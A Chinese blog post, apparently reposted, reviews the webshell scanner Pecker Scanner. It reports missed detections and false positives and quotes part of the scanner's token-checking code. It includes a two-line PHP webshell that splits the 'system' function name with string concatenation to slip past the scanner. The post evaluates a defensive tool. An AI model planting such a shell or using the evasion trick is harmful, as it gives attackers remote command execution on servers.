欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

webshell扫描工具(Pecker Scanner) – 测试

程序员文章站 2022-04-22 11:14:24
今天看到几位大牛微薄转发了一个webshell扫描工具,用了语法分析、词法分析的方法,虽然不知道语法分析、词法分析是什么,但是感觉很高级的样子,果断下载一个回来试用一下。结果相当让...
今天看到几位大牛微薄转发了一个webshell扫描工具,用了语法分析、词法分析的方法,虽然不知道语法分析、词法分析是什么,但是感觉很高级的样子,果断下载一个回来试用一下。结果相当让人失望,希望作者后续继续改进。

链接如下:http://www.cnxct.com/pecker-scanner/
一、漏报
简单把system函数做了个字符串拼接,如下:
$func = “s”.”ystem”;
$func($_GET['cmd']);
用Pecker Scanner扫了下毫无反应

二、误报
用discuz试一下吧,囧,提示扫描超时错误(Fatal error: Maximum execution time of 30 seconds exceeded)。
放一个文件夹吧,误报也不少

webshell扫描工具(Pecker Scanner) – 测试

三、简要分析
不懂词法分析、语法分析,大致瞄一眼扫描的核心:Scanner.php的checkTokens函数,

private function checkTokens(array $tokens)
{
省略
switch ($token[0])
{
case T_EVAL:
$this->report->catchLog($token[1],$token[2],$this->parser->getPieceTokenAll($k));
break;
case T_FUNCTION:
if (isset($this->function[$token[1]]))
{ $this->report->catchLog($token[1],$token[2],$this->parser->getPieceTokenAll($k));
}


T_EVAL后直接记录到log了,难道是只要有eval字符串就log,试下eval(abc),果然如此,这。。。;
webshell扫描工具(Pecker Scanner) – 测试
不过作者还是做了一些判断的,像“eval”字符串这些不会记录的,不过看到这里基本上可以断定这个东西的实用价值基本很小了。

四、总结
作者开源的精神还是值得肯定,期待作者的后续发力